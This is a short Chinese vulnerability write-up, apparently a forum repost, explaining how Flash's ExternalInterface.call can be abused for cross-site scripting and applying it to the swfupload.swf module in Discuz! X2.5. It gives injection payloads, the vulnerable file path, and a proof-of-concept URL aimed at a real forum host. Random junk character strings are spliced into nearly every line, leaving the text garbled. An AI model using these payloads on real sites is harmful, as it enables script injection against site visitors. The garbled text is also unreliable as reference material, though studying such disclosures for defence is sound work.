上回我们说" {) ^/ j! J4 [1 v
+ K+ i' f( n. Q9 e: S0 nflash.external.ExternalInterface.call($methodName, $parameter)5 t; k+ v4 P8 |1 i B
在浏览器中执行的是$ z9 H& N: a" I2 l+ A
# \/ J7 J. ]. c% A6 G f' otry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
7 R: z+ `. V7 ~2 V# _对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如( s, ]7 s: p: q" U1 u
( P+ @! x: t2 D4 F# O" Vflash.external.ExternalInterface.call("object."+$methodName, $parameter)
. y. p% D G2 H8 U0 { ?$methodName = a())}catch(e){alert(/xss/)}//
, m9 s1 t4 b+ c* v5 \结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。. Z1 U: D3 p: `) [0 ~- T3 [, j
) Z/ u: i( @* z# o. B, v+ rtry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }$ T* T o0 x5 n W# ]& g! I
) S9 x3 Y2 ?; m. R
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
! E( Z* g( w9 e杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。& @( }* V5 c h5 A
: m; ^9 o7 _) q% {
6 |# j% [- ~0 \4 |
4 n2 r2 r% v% J1 O% W
漏洞文件:upload\static\image\common\swfupload.swf
5 d+ L+ T6 F( @3 ^
- B3 g) u: f+ v原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf* h7 B3 z$ {0 e1 a1 M, W
. r" S7 M T. l% w: z7 D4 d# V F. K6 L0 Z
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
: m0 K0 X4 h8 P. L( j4 _) i
4 F w1 Q! J& J% M# n& l& ^7 i9 l8 D- U9 b5 d& H: p3 d
|